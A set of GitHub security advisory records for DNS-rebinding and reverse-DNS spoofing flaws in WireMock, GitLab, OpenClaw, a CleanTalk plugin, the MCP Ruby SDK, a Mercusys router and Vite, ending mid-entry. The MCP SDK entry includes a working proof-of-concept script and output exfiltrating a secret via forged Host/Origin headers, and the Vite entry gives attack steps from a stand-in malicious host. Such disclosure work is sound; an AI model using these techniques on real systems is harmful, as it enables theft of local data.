CWE-350

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.wiremock:wiremock-standalone"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.wiremock:wiremock"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.github.tomakehurst:wiremock-jre8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.35.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.github.tomakehurst:wiremock-jre8-standalone"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.35.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "wiremock"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-41329"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-08T12:19:49Z",
    "nvd_published_at": "2023-09-06T21:15:14Z",
    "severity": "LOW"
  },
  "details": "### Impact\n\nThe proxy mode of WireMock, can be protected by the network restrictions configuration, as documented in [Preventing proxying to and recording from specific target addresses](https://wiremock.org/docs/configuration/#preventing-proxying-to-and-recording-from-specific-target-addresses). These restrictions can be configured using the domain names, and in such a case the configuration is vulnerable to the DNS rebinding attacks. A similar patch was applied in WireMock 3.0.0-beta-15 for the WireMock Webhook Extensions.\n\nThe root cause of the attack is a defect in the logic which allows for a race condition triggered by a DNS server whose address expires in between the initial validation and the outbound network request that might go to a domain that was supposed to be prohibited. Control over a DNS service is required to exploit this attack, so it has high execution complexity and limited impact.\n\n### Affected versions\n\n- WireMock 3,x until 3.0.3 (security patch), on default settings in environments with access to the network\n- WireMock 2.x until 2.35.1 (security patch), on default settings in environments with access to the network\n- Python WireMock until 2.6.1\n- WireMock Studio - all versions, this proprietary product was discontinued in 2022\n\n\n### Patches\n\n- WireMock 3.0.3 + the 3.0.3-1 Docker image\n- WireMock 2.35.1 + the 2.35.1-1 Docker image - backport to WireMock 2.x\n- Python WireMock 2.6.1\n\n### Workarounds\n\nFor WireMock:\n\n- Option 1: Configure WireMock to use IP addresses instead of the domain names in the outbound URLs subject to DNS rebinding\n- Option 2: Use external firewall rules to define the list of permitted destinations\n\nFor WireMock Studio: N/A. Switch to another distribution, there will be no fix provided. The vendor of former WireMock Studio recommends migration to [WireMock Cloud](https://www.wiremock.io/product)\n\n### References\n\n- CVE-2023-41327 - Related issue in the WireMock Webhooks Extension\n",
  "id": "GHSA-pmxq-pj47-j8j4",
  "modified": "2023-09-08T12:19:49Z",
  "published": "2023-09-08T12:19:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wiremock/wiremock/security/advisories/GHSA-pmxq-pj47-j8j4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41329"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wiremock/wiremock"
    },
    {
      "type": "WEB",
      "url": "https://wiremock.org/docs/configuration/#preventing-proxying-to-and-recording-from-specific-target-addresses"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Domain restrictions bypass via DNS Rebinding in WireMock and WireMock Studio webhooks, proxy and recorder modes"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-12635"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-350"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-25T05:16:51Z",
    "severity": "LOW"
  },
  "details": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 8.3 before 18.11.6, 19.0 before 19.0.3, and 19.1 before 19.1.1 that under certain conditions could have allowed an authenticated user with maintainer-role permissions to make requests to internal network resources through mirror synchronization due to improper URL validation.",
  "id": "GHSA-px7v-hx94-8wmf",
  "modified": "2026-06-25T06:30:42Z",
  "published": "2026-06-25T06:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12635"
    },
    {
      "type": "WEB",
      "url": "https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-1-1-released"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/594321"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.3.28"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.31"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41393"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T03:22:32Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nmacOS Wide-Area Discovery Accepts Arbitrary Tailnet Peer as DNS Authority and Exfiltrates Operator Credentials\n\n## Current Maintainer Triage\n- Status: narrow\n- Normalized severity: medium\n- Assessment: Real shipped macOS discovery steering bug, but exploitation needs same-tailnet position, a CA-trusted endpoint, and user selection, so medium not high.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Latest published npm version: `2026.3.31`\n- Vulnerable version range: `\u003c=2026.3.28`\n- Patched versions: `\u003e= 2026.3.31`\n- First stable tag containing the fix: `v2026.3.31`\n\n## Fix Commit(s)\n- `a23c33a681f8c1b22dc793995acc4c5c4b568346` \u2014 2026-03-31T10:04:11+01:00\n\nOpenClaw thanks @nexrin for reporting.",
  "id": "GHSA-q9w8-cf67-r238",
  "modified": "2026-04-28T18:20:31Z",
  "published": "2026-04-03T03:22:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-q9w8-cf67-r238"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/a23c33a681f8c1b22dc793995acc4c5c4b568346"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.31"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: macOS Tailnet DNS Spoofing \u0026 Credential Exfiltration"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-1490"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-350"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-15T04:15:53Z",
    "severity": "CRITICAL"
  },
  "details": "The Spam protection, Anti-Spam, FireWall by CleanTalk plugin for WordPress is vulnerable to unauthorized Arbitrary Plugin Installation due to an authorization bypass via reverse DNS (PTR record) spoofing on the \u0027checkWithoutToken\u0027 function in all versions up to, and including, 6.71. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins which can be leveraged to achieve remote code execution if another vulnerable plugin is installed and activated. Note: This is only exploitable on sites with an invalid API key.",
  "id": "GHSA-r6q3-r9p8-6prh",
  "modified": "2026-02-15T06:31:35Z",
  "published": "2026-02-15T06:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1490"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/cleantalk-spam-protect/trunk/lib/Cleantalk/ApbctWP/RemoteCalls.php#L69"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/cleantalk-spam-protect/trunk/lib/Cleantalk/Common/Helper.php#L64"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3454488/cleantalk-spam-protect#file473"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cb603be6-4a12-49e1-b8cc-b2062eb97f16?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.0"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63118"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-30T14:41:39Z",
    "nvd_published_at": "2026-07-29T20:17:10Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`MCP::Server::Transports::StreamableHTTPTransport` (the Rack-mountable Streamable HTTP transport in the `mcp` gem) processes every incoming JSON-RPC request without ever inspecting the HTTP `Host` or `Origin` request headers. There is no `AllowedHosts`/`AllowedOrigins` allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim\u0027s browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to `127.0.0.1`, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent.\n\n## Impact\n\n- An attacker who can get a victim to open a web page can reach any MCP server the victim runs locally over the Streamable HTTP transport (e.g. a developer-tools or filesystem MCP server on `localhost`).\n- Because the transport issues a session and dispatches `tools/list` / `tools/call` from a foreign `Host`/`Origin` with no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker\u0027s origin.\n- The blast radius is whatever the locally-running MCP server exposes. For MCP servers wired to filesystem, shell, or credential tools, this is sensitive-data disclosure and, depending on the tool set, local action execution.\n\n## Vulnerable code\n\nFile: `lib/mcp/server/transports/streamable_http_transport.rb` (gem `mcp` 0.18.0).\n\nThe Rack entrypoint and POST handler validate `Accept`, `Content-Type`, `Mcp-Session-Id`, and `Mcp-Protocol-Version`, but never `Host` or `Origin`:\n\n```ruby\n# call(env) -\u003e handle_request(Rack::Request.new(env))  (line 56)\ndef handle_post(request)\n  required_types = @enable_json_response ? REQUIRED_POST_ACCEPT_TYPES_JSON : REQUIRED_POST_ACCEPT_TYPES_SSE\n  accept_error = validate_accept_header(request, required_types)   # line 335 - checks Accept only\n  return accept_error if accept_error\n\n  content_type_error = validate_content_type(request)             # line 338 - checks Content-Type only\n  return content_type_error if content_type_error\n\n  body_string = request.body.read\n  session_id = extract_session_id(request)                        # line 342 - reads HTTP_MCP_SESSION_ID\n```\n\nNo statement anywhere in `handle_post`, `handle_request`, or any helper reads `request.env[\"HTTP_HOST\"]` or `request.env[\"HTTP_ORIGIN\"]`.\n\nThe only request-env reads in the whole class are:\n\n- `extract_session_id` -\u003e `request.env[\"HTTP_MCP_SESSION_ID\"]` (line 489)\n- `validate_accept_header` -\u003e `request.env[\"HTTP_ACCEPT\"]` (line 493)\n- `validate_content_type` -\u003e `request.env[\"CONTENT_TYPE\"]` (line 512)\n- `validate_protocol_version_header` -\u003e `request.env[\"HTTP_MCP_PROTOCOL_VERSION\"]` (line 546)\n\nA repository-wide search of `lib/` for `HTTP_HOST`, `HTTP_ORIGIN`, `allowed_host`, `allowed_origin`, `rebind`, or `dns.rebind` returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The `examples/` tree mounts `Rack::Cors` as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding.\n\n## How the input reaches the sink (attack scenario)\n\n1. A developer runs an MCP server over `StreamableHTTPTransport`, mounted as a Rack app on a local HTTP port (loopback or LAN).\n2. The victim opens `http://evil.attacker.com` in a browser. The page resolves to the attacker\u0027s server, which then re-answers DNS for `evil.attacker.com` with `127.0.0.1` (DNS rebinding). The browser now treats requests to `evil.attacker.com` as going to the local MCP server, with `Host: evil.attacker.com` / `Origin: http://evil.attacker.com`.\n3. The page POSTs an `initialize` request. The transport accepts it (it never looks at `Host`/`Origin`), creates a session, and returns `Mcp-Session-Id`.\n4. The page then POSTs `tools/call`, and the transport executes the server\u0027s tool and returns its output to the foreign origin. Local data is exfiltrated.\n\n## Proof of concept (end-to-end reproduction)\n\nRun against the real released gem `mcp` 0.18.0 (no stubs). The script builds an `MCP::Server` with a tool that returns sensitive local data, instantiates the real `StreamableHTTPTransport`, and drives it with `Rack::Request` env hashes carrying a forged `Host`/`Origin`. It then re-runs as a legitimate localhost client (negative control).\n\nInstall:\n\n```\ngem install mcp -v 0.18.0   # pulls addressable, json-schema, public_suffix\ngem install rack            # required by StreamableHTTPTransport\n```\n\nPoC (`poc_f1_dnsrebind.rb`):\n\n```ruby\n# frozen_string_literal: true\nrequire \"mcp\"\nrequire \"rack\"\nrequire \"json\"\nrequire \"stringio\"\n\nputs \"mcp gem version under test: #{MCP::VERSION}\"\nputs \"transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instance_method(:handle_post).source_location.inspect}\"\nputs\n\n# A tool whose output is sensitive local data an attacker wants to exfiltrate.\nsecret_tool = MCP::Tool.define(name: \"read_local_secret\", description: \"returns a local secret\") do |*|\n  MCP::Tool::Response.new([{ type: \"text\", text: \"TOP-SECRET-LOCAL-DATA-9f3a\" }])\nend\n\nserver = MCP::Server.new(name: \"poc_server\", version: \"1.0.0\", tools: [secret_tool])\ntransport = MCP::Server::Transports::StreamableHTTPTransport.new(server)\nPROTO = MCP::Configuration::SUPPORTED_STABLE_PROTOCOL_VERSIONS.last\n\ndef rack_post(transport, body_hash, host:, origin:, session_id: nil, proto: nil)\n  body = JSON.generate(body_hash)\n  env = {\n    \"REQUEST_METHOD\" =\u003e \"POST\", \"PATH_INFO\" =\u003e \"/\",\n    \"HTTP_HOST\"   =\u003e host,    # attacker-controlled Host (DNS-rebind primary vector)\n    \"HTTP_ORIGIN\" =\u003e origin,  # attacker-controlled Origin (cross-origin browser vector)\n    \"HTTP_ACCEPT\" =\u003e \"application/json, text/event-stream\",\n    \"CONTENT_TYPE\" =\u003e \"application/json\",\n    \"rack.input\" =\u003e StringIO.new(body), \"CONTENT_LENGTH\" =\u003e body.bytesize.to_s,\n  }\n  env[\"HTTP_MCP_SESSION_ID\"] = session_id if session_id\n  env[\"HTTP_MCP_PROTOCOL_VERSION\"] = proto if proto\n  status, headers, resp = transport.call(env)\n  collected = +\"\"\n  if resp.respond_to?(:each)\n    resp.each { |c| collected \u003c\u003c c.to_s }\n  elsif resp.respond_to?(:call)            # stateful tools/call returns an SSE-stream Proc body\n    sink = Object.new\n    sink.define_singleton_method(:write) { |s| collected \u003c\u003c s.to_s }\n    sink.define_singleton_method(:flush) {}\n    sink.define_singleton_method(:close) {}\n    resp.call(sink)\n  end\n  [status, headers, collected]\nend\n\nputs \"========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com ==========\"\ninit_body = { jsonrpc: \"2.0\", id: 1, method: \"initialize\",\n  params: { protocolVersion: PROTO, capabilities: {}, clientInfo: { name: \"evil-page\", version: \"1.0\" } } }\nstatus, headers, body = rack_post(transport, init_body, host: \"attacker.evil.com\", origin: \"http://evil.attacker.com\")\nputs \"[initialize] HTTP status      : #{status}\"\nputs \"[initialize] Mcp-Session-Id   : #{headers[\"Mcp-Session-Id\"].inspect}\"\nputs \"[initialize] response body     : #{body}\"\nsession = headers[\"Mcp-Session-Id\"]\n\ncall_body = { jsonrpc: \"2.0\", id: 2, method: \"tools/call\",\n  params: { name: \"read_local_secret\", arguments: {} } }\nstatus2, _h2, body2 = rack_post(transport, call_body,\n  host: \"attacker.evil.com\", origin: \"http://evil.attacker.com\", session_id: session, proto: PROTO)\nputs \"[tools/call] HTTP status       : #{status2}\"\nputs \"[tools/call] response body      : #{body2}\"\nattack_ok = (status == 200 \u0026\u0026 session \u0026\u0026 status2 == 200 \u0026\u0026 body2.include?(\"TOP-SECRET-LOCAL-DATA-9f3a\"))\nputs\nputs \"ATTACK VERDICT: #{attack_ok ? \"EXFILTRATED\" : \"blocked\"} -- foreign Host/Origin obtained a session AND read the local secret with NO 403.\"\nputs\n\nputs \"========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 ==========\"\nstatus3, headers3, _b3 = rack_post(transport, init_body, host: \"127.0.0.1:8080\", origin: \"http://127.0.0.1:8080\")\nputs \"[initialize] HTTP status      : #{status3}\"\nputs \"[initialize] Mcp-Session-Id   : #{headers3[\"Mcp-Session-Id\"].inspect}\"\nputs\nputs \"CONTROL VERDICT: legitimate client also gets HTTP #{status3} + session -- transport applies the SAME (zero) Host/Origin policy to both.\"\n```\n\nCaptured output (verbatim):\n\n```\nmcp gem version under test: 0.18.0\ntransport source: [\".../gems/mcp-0.18.0/lib/mcp/server/transports/streamable_http_transport.rb\", 333]\n\n========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com ==========\n[initialize] HTTP status      : 200\n[initialize] Mcp-Session-Id   : \"d4fb30b4-b4ec-49a1-a58b-f4cc02bee64b\"\n[initialize] response body     : {\"jsonrpc\":\"2.0\",\"id\":1,\"result\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{\"tools\":{\"listChanged\":true},\"prompts\":{\"listChanged\":true},\"resources\":{\"listChanged\":true},\"logging\":{}},\"serverInfo\":{\"name\":\"poc_server\",\"version\":\"1.0.0\"}}}\n[tools/call] HTTP status       : 200\n[tools/call] response body      : data: {\"jsonrpc\":\"2.0\",\"id\":2,\"result\":{\"content\":[{\"type\":\"text\",\"text\":\"TOP-SECRET-LOCAL-DATA-9f3a\"}],\"isError\":false}}\n\nATTACK VERDICT: EXFILTRATED -- foreign Host/Origin obtained a session AND read the local secret with NO 403.\n\n========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 ==========\n[initialize] HTTP status      : 200\n[initialize] Mcp-Session-Id   : \"bf707a19-a22a-4ff2-aeae-62c20cd7141b\"\n\nCONTROL VERDICT: legitimate client also gets HTTP 200 + session -- transport applies the SAME (zero) Host/Origin policy to both.\n```\n\nThe forged `Host: attacker.evil.com` / `Origin: http://evil.attacker.com` request obtained a valid session and exfiltrated the local secret (`TOP-SECRET-LOCAL-DATA-9f3a`) via `tools/call`, with the transport returning HTTP 200 throughout and never a 403. The negative control confirms the transport applies the identical (empty) policy to a legitimate localhost client, proving there is no Host/Origin discrimination at all.\n\n## Suggested fix\n\nAdd an opt-in but secure-by-default Host/Origin allowlist to `StreamableHTTPTransport`, mirroring the DNS-rebinding protection that the TypeScript, Python, Go, Rust, C#, and Java MCP SDKs already ship:\n\n- Accept `allowed_hosts:` and `allowed_origins:` keyword arguments in `initialize`.\n- In `handle_request` (before any dispatch), read `request.env[\"HTTP_HOST\"]` and `request.env[\"HTTP_ORIGIN\"]`. If an allowlist is configured and the value is not on it, return `403 Forbidden`.\n- Default to allowing only loopback hosts (`127.0.0.1`, `[::1]`, `localhost`) and an empty/absent `Origin`, so a stock local deployment is protected against rebinding out of the box while same-process and same-host clients keep working. Document how to widen the allowlist for non-loopback deployments.\n\nA concrete patch adds an `AllowedHostsValidation` check invoked at the top of `handle_request`. See the Fix PR.\n\n## Fix PR\n\nA fix PR implementing the Host/Origin allowlist with a secure loopback default is open against this advisory\u0027s private temporary fork: https://github.com/modelcontextprotocol/ruby-sdk-ghsa-rjr6-rcgv-9m7m/pull/1 . With the patch loaded, the forged-Host request is rejected with `403` (`{\"error\":\"Forbidden: Host not allowed (DNS-rebinding protection)\"}`) while a legitimate loopback `Host: 127.0.0.1:8080` request is still served (HTTP 200, session issued).\n\n## Credit\n\nReported by tonghuaroot.\n\n## Reporter notes\n\nThis issue was found by source review of the `mcp` gem\u0027s Streamable HTTP transport and confirmed end-to-end against the released gem `mcp` 0.18.0 as shown above. It is reported independently on its own merits.",
  "id": "GHSA-rjr6-rcgv-9m7m",
  "modified": "2026-07-30T14:41:39Z",
  "published": "2026-07-30T14:41:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-rjr6-rcgv-9m7m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63118"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/ruby-sdk/commit/ba543083a7594e7892b29464b89091816446ff7a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/modelcontextprotocol/ruby-sdk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.23.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MCP Ruby SDK: Streamable HTTP transport lacks DNS-rebinding (Host/Origin) protection"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-36604"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-350"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-03T18:16:21Z",
    "severity": "MODERATE"
  },
  "details": "Mercusys AC12G (EU) V1 router with firmware AC12G(EU)_V1_200909 does not validate the HTTP Host header, enabling DNS rebinding attacks. An external attacker can rebind a domain to the router\u0027s internal IP address, extending the CORS wildcard vulnerability (Access-Control-Allow-Origin: *) to internet-originated attacks.",
  "id": "GHSA-rv93-ggmg-88r9",
  "modified": "2026-06-03T21:30:29Z",
  "published": "2026-06-03T18:33:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-36604"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Tymbark7372/MERCUSYS-AC12G/blob/master/advisories/CVE-2026-36604.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.0.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.4.11"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.5.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-24010"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1385",
      "CWE-346",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-21T19:52:55Z",
    "nvd_published_at": "2025-01-20T16:15:28Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nVite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.\n\n\u003e [!WARNING]\n\u003e This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.\n\n### Upgrade Path\nUsers that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.\n\n- Using the backend integration feature\n- Using a reverse proxy in front of Vite\n- Accessing the development server via a domain other than `localhost` or `*.localhost`\n- Using a plugin / framework that connects to the WebSocket server on their own from the browser\n\n#### Using the backend integration feature\nIf you are using the backend integration feature and not setting [`server.origin`](https://vite.dev/config/server-options.html#server-origin), you need to add the origin of the backend server to the [`server.cors.origin`](https://github.com/expressjs/cors#configuration-options) option. Make sure to set a specific origin rather than `*`, otherwise any origin can access your development server.\n\n#### Using a reverse proxy in front of Vite\nIf you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than `localhost` or `*.localhost`, you need to add the hostname to the new [`server.allowedHosts`](https://vite.dev/config/server-options.html#server-allowedhosts) option. For example, if the reverse proxy is sending requests to `http://vite:5173`, you need to add `vite` to the `server.allowedHosts` option.\n\n#### Accessing the development server via a domain other than `localhost` or `*.localhost`\nYou need to add the hostname to the new [`server.allowedHosts`](https://vite.dev/config/server-options.html#server-allowedhosts) option. For example, if you are accessing the development server via `http://foo.example.com:8080`, you need to add `foo.example.com` to the `server.allowedHosts` option.\n\n#### Using a plugin / framework that connects to the WebSocket server on their own from the browser\nIf you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.\n\nIn that case, you can either:\n\n- fix the plugin / framework code to the make it compatible with the new version of Vite\n- set `legacy.skipWebSocketTokenCheck: true` to opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite\n  - When enabling this option, **make sure that you are aware of the security implications** described in the impact section of [2] above.\n\n### Mitigation without upgrading Vite\n#### [1]: Permissive default CORS settings\nSet `server.cors` to `false` or limit `server.cors.origin` to trusted origins.\n\n#### [2]: Lack of validation on the Origin header for WebSocket connections\nThere aren\u0027t any mitigations for this.\n\n#### [3]: Lack of validation on the Host header for HTTP requests\nUse Chrome 94+ or use HTTPS for the development server.\n\n### Details\n\nThere are three causes that allowed malicious websites to send any requests to the development server:\n\n#### [1]: Permissive default CORS settings\n\nVite sets the [`Access-Control-Allow-Origin`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin) header depending on [`server.cors`](https://vite.dev/config/server-options.html#server-cors) option. The default value was `true` which sets `Access-Control-Allow-Origin: *`. This allows websites on any origin to `fetch` contents served on the development server.\n\nAttack scenario:\n\n1. The attacker serves a malicious web page (`http://malicious.example.com`).\n2. The user accesses the malicious web page.\n3. The attacker sends a `fetch(\u0027http://127.0.0.1:5173/main.js\u0027)` request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that\u0027s not the case for the reasons above.\n4. The attacker gets the content of `http://127.0.0.1:5173/main.js`.\n\n#### [2]: Lack of validation on the Origin header for WebSocket connections\n\nVite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server [did not perform validation on the Origin header](https://github.com/vitejs/vite/blob/v6.0.7/packages/vite/src/node/server/ws.ts#L145-L157) and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection ([list of the file paths that changed, the file content where the errored happened, etc.](https://github.com/vitejs/vite/blob/v6.0.7/packages/vite/types/hmrPayload.d.ts#L12-L72)), but plugins can send arbitrary messages and may include more sensitive information.\n\nAttack scenario:\n\n1. The attacker serves a malicious web page (`http://malicious.example.com`).\n2. The user accesses the malicious web page.\n3. The attacker runs `new WebSocket(\u0027http://127.0.0.1:5173\u0027, \u0027vite-hmr\u0027)` by JS in that malicious web page.\n4. The user edits some files.\n5. Vite sends some HMR messages over WebSocket.\n6. The attacker gets the content of the HMR messages.\n\n#### [3]: Lack of validation on the Host header for HTTP requests\n\nUnless [`server.https`](https://vite.dev/config/server-options.html#server-https) is set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.\n\n1. The attacker serves a malicious web page that is served on **HTTP** (`http://malicious.example.com:5173`) (HTTPS won\u0027t work).\n2. The user accesses the malicious web page.\n3. The attacker changes the DNS to point to 127.0.0.1 (or other private addresses).\n4. The attacker sends a `fetch(\u0027/main.js\u0027)` request by JS in that malicious web page.\n5. The attacker gets the content of `http://127.0.0.1:5173/main.js` bypassing the same origin policy.\n\n### Impact\n#### [1]: Permissive default CORS settings\nUsers with the default `server.cors` option may:\n\n- get the source code stolen by malicious websites\n- give the attacker access to functionalities that are not supposed to be exposed externally\n  - Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind `server.proxy` may have those functionalities.\n\n#### [2]: Lack of validation on the Origin header for WebSocket connections\nAll users may get the file 